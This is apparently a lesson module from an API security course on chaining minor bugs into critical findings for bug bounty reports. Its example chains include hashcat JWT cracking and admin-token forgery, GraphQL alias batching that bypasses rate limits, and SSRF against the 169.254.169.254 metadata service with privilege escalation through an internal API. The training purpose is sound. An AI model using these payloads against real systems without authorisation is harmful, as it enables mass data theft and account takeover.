Chaining API Vulnerabilities
Advanced API Exploitation · API Security track
7 min read
In this module
From Individual Bugs to Critical Impact
Most API bugs look unimpressive on their own. A BOLA that leaks email addresses? Informative. An SSRF poking at internal hosts? Interesting. A mass assignment that flips an obscure field? Forgettable. Stitch them together and the picture changes fast — a yawn-worthy info leak becomes the opening move in a chain that ends with mass data exfiltration.
Chaining is the difference between a report filed under "informational" and one that drags an engineer out of bed. It's also how breaches actually unfold. Real attackers don't find one devastating bug. They braid three boring ones into something nasty.
Chain 1: Information Disclosure to Data Exfiltration
This chain starts with a minor information leak and escalates to accessing every user's data.
Step 1: API Documentation Exposure
An unprotected Swagger UI or OpenAPI specification is found at a predictable path:
GET /api/docs HTTP/1.1Host: api.target.comThe specification reveals undocumented endpoints, including an administrative user search:
GET /api/v1/admin/users/search?email={query}Step 2: Authentication Bypass via JWT Weakness
The API uses JWTs with a weak HMAC secret. The attacker captures a valid token and cracks the secret offline:
# Crack the JWT secrethashcat -m 16500 captured_token.txt wordlist.txtWith the secret, the attacker forges a token with an administrative role:
{ "sub": "attacker_user", "role": "admin", "iat": 1709251200, "exp": 1709337600}Step 3: BOLA via Admin Endpoint
Using the forged admin token, the attacker accesses the user search endpoint and iterates through user records:
GET /api/v1/admin/users/search?email=a HTTP/1.1Authorization: Bearer <forged_admin_token>Each response coughs up a full user profile — personal data, payment methods, the lot. The chain that started with a publicly accessible docs page ends in a wholesale database dump.
Chain 2: GraphQL Introspection to Mass Data Access
This chain stitches together GraphQL-specific attack techniques to escalate from reconnaissance to bulk data extraction.
Step 1: Introspection Reveals the Schema
The attacker runs an introspection query and discovers a User type with sensitive fields and a Query.users root field that accepts filters:
{ __schema { queryType { fields { name args { name type { name } } } } }}Step 2: BOLA Through Direct Object Access
The schema reveals that user(id: ID!) accepts a user ID. The attacker tests whether authorisation is enforced:
{ user(id: "1") { id email role } user2: user(id: "2") { id email role }}Both return full user data. BOLA confirmed.
Step 3: Batch Enumeration Bypasses Rate Limits
The attacker uses GraphQL aliases to enumerate thousands of users in a single request, bypassing per-request rate limiting:
{ u1: user(id: "1") { id email role creditCard { lastFour } } u2: user(id: "2") { id email role creditCard { lastFour } } u3: user(id: "3") { id email role creditCard { lastFour } } # ... hundreds more aliases}One HTTP request, hundreds of user records. The rate limiter counts a single hit. No alert fires.
Standalone: introspection is informational, the BOLA is a medium-severity access control failure, the rate limiting gap is a low-severity config issue. Together they bypass detection entirely and walk out with the user table. That's a critical.
Chain 3: SSRF to Internal API to Privilege Escalation
This chain moves from the external attack surface into the internal network.
Step 1: SSRF via Webhook Functionality
The API allows users to configure webhooks. The callback URL is fetched server-side without validation:
POST /api/v1/integrations/webhooks HTTP/1.1Content-Type: application/json
{ "name": "Test", "url": "http://169.254.169.254/latest/meta-data/"}The webhook test response echoes the metadata back. SSRF confirmed.
Step 2: Internal Service Discovery
The attacker uses the SSRF to scan internal network ranges and discovers an internal user management API:
{ "url": "http://10.0.1.50:8080/internal/users"}The internal API answers without checking credentials, because it assumes anyone on the private network is friendly.
Step 3: Privilege Escalation via Internal API
The internal user management API exposes an endpoint to modify user roles. The attacker escalates their own account to administrator:
{ "url": "http://10.0.1.50:8080/internal/users/attacker_id/role", "method": "PUT", "body": "{\"role\": \"super_admin\"}"}The attacker now has full administrative access to the external-facing application.
Each fix below closes one link. Switch them on one at a time and see how much of the chain survives each:
Chain 3, link by link
Hover over or tap each step to see details
Demonstrating Impact for Higher Severity
Severity ratings drive both fix speed and bounty payouts. Showing a working chain shifts the report from theoretical to demonstrated, and the rating climbs accordingly.
Severity Without Chaining
| Finding | Standalone Severity |
|---|---|
| Exposed API documentation | Informational |
| BOLA on a single endpoint | Medium |
| Missing rate limiting | Low |
| SSRF (no sensitive data reached) | Medium |
| Weak JWT secret | Medium |
Severity With Chaining
| Chain | Combined Severity |
|---|---|
| Docs exposure + JWT crack + BOLA | Critical |
| Introspection + BOLA + batch bypass | Critical |
| SSRF + internal API + privilege escalation | Critical |
Effective Chain Reporting
When writing up a chained vulnerability:
- Start with the impact: Lead with what the chain achieves (full data breach, account takeover, privilege escalation), not with the first link.
- Number each step: Present the chain as a clear, reproducible sequence.
- Show the escalation: Make explicit how each step's output feeds into the next step's input.
- Prove it end to end: Demonstrate the complete chain, not just each link individually.
- Quantify the impact: State how many users are affected, what data is accessible, or what financial damage is possible.
Default to submitting the full chain as one finding, scored by final impact, with the individual steps as evidence. A chain that ends in account takeover is a critical, and splitting it into low-severity submissions usually undersells the risk and the payout. Programme policies differ, though. Some ask for each independently fixable bug as its own report and pay them separately, sometimes with a bonus for the chain, so read the policy and ask triage if it's unclear.
Building the Chaining Mindset
Every bug should provoke one question: "What does this let me reach?" A BOLA leaking an internal email address feeds a phishing campaign. A verbose error revealing a Postgres version shapes the injection payload you craft next. A rate-limiting gap turns brute-force from impossible to overnight.
The best API testers spend most of their time joining dots. Bugs are the bricks. Chains are the wall.